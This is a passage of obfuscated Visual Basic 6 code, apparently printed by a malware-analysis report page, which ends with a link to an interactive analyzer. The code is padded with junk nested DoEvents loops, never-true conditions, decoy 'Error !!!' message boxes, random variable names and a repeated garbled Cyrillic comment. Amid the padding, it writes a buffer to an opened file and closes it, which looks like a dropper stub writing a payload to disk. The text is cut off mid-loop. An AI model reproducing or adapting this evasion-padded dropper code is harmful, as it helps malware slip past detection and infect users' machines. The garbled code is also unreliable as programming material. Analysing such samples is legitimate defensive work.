'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next snCqcvdL 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PxBRHLTi As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PxBRHLTi = 0 To 2 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim uNPtywYi As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For uNPtywYi = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next uNPtywYi 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PxBRHLTi 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim HBGDwQrP As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For HBGDwQrP = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next HBGDwQrP 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Put #FPBPEDJWSVG, , QIQIKQJTKIU 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 598923 = 598923 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 3473 < 89 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim KRFntJmF As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For KRFntJmF = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim nQaHBHbj As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For nQaHBHbj = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next nQaHBHbj 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next KRFntJmF 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pPyvguCL As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pPyvguCL = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pPyvguCL 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("WVpGHdYG42") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("TVUgZEQT6646") = Len("uApAQzps") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim rqNAFZNG As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For rqNAFZNG = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim kDgKmVDl As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For kDgKmVDl = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next kDgKmVDl 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next rqNAFZNG 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim LREPQllN As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For LREPQllN = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next LREPQllN 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PZwCFXUx As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PZwCFXUx = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim kGynXKLL As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For kGynXKLL = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next kGynXKLL 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PZwCFXUx 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim QvTEflYZ As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For QvTEflYZ = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next QvTEflYZ 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Close #FPBPEDJWSVG 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 995325 = 995325 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 9595 < 33 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim MlFxmIPE As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For MlFxmIPE = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim JKlcBayQ As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For JKlcBayQ = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next JKlcBayQ 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next MlFxmIPE 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim bMubKxLb As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For bMubKxLb = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next bMubKxLb 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("PFFvNcqz44") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("jrKcoHul4868") = Len("scjezXlU") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim GCoMqQzV As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For GCoMqQzV = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim VarDWFmf As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For VarDWFmf = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next VarDWFmf 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next GCoMqQzV 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim wjdeZsVL As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For wjdeZsVL = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next wjdeZsVL 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim AZCHHChm As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For AZCHHChm = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim gpjPWdAf As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For gpjPWdAf = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку …

Open this report in the interactive analyzer, or submit your own file for analysis.